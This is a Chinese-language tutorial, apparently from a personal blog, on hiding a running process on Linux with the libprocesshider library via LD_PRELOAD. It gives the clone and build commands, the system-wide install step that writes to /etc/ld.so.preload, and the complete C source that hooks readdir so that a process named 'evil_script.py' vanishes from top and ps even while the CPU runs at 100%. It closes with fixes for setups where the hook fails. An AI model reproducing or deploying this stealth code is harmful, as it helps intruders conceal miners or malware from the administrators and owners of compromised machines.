前言
- 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下載下傳
- 思路就是利用 LD_PRELOAD 來實作系統函數的劫持
LD_PRELOAD是什麼:
LD_PRELOAD是Linux系統的一個環境變量,它可以影響程式的運作時的連結(Runtime linker),它允許你定義在程式運作前優先加載的動态連結庫。這個功能主要就是用來有選擇性的載入不同動态連結庫中的相同函數。通過這個環境變量,我們可以在主程式和其動态連結庫的中間加載别的動态連結庫,甚至覆寫正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需别人的源碼),而另一方面,我們也可以以向别人的程式注入程式,進而達到特定的目的。
實作
1.下載下傳程式編譯
bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#
2.移動檔案到/usr/local/lib/目錄下
mv libprocesshider.so /usr/local/lib/
3.把它加載到全局動态連接配接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
測試
- 我們運作evil_script.py
- 此時發現在top 與 ps 中都無法找到 evil_script.py
linux 下隐藏程式的一種方法
此時我們發現 cpu 100%,但是卻找不到任何占用cpu高的程式
分析
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
- 程式定義了一個變量 process_to_filter 來控制不顯示哪個程序名
- 重寫readdir,
當發現目前程序名稱與 process_to_filter 相同時,繼續循環.strcmp(process_name, process_to_filter) == 0)
遇到的坑
- 某些Linux中這個程式編譯通不過
解決方法
删除最後兩行中的一行
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
- 某些Linux中使用
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不會生效
此時我們需要配置環境變量
增加一行bmfxgkpt-yhd:~# vi /etc/profile
export LD_PRELOAD=/usr/local/lib/libprocesshider.so
有問題請聯系[email protected]
個人網站:http://ext.123456cc.cc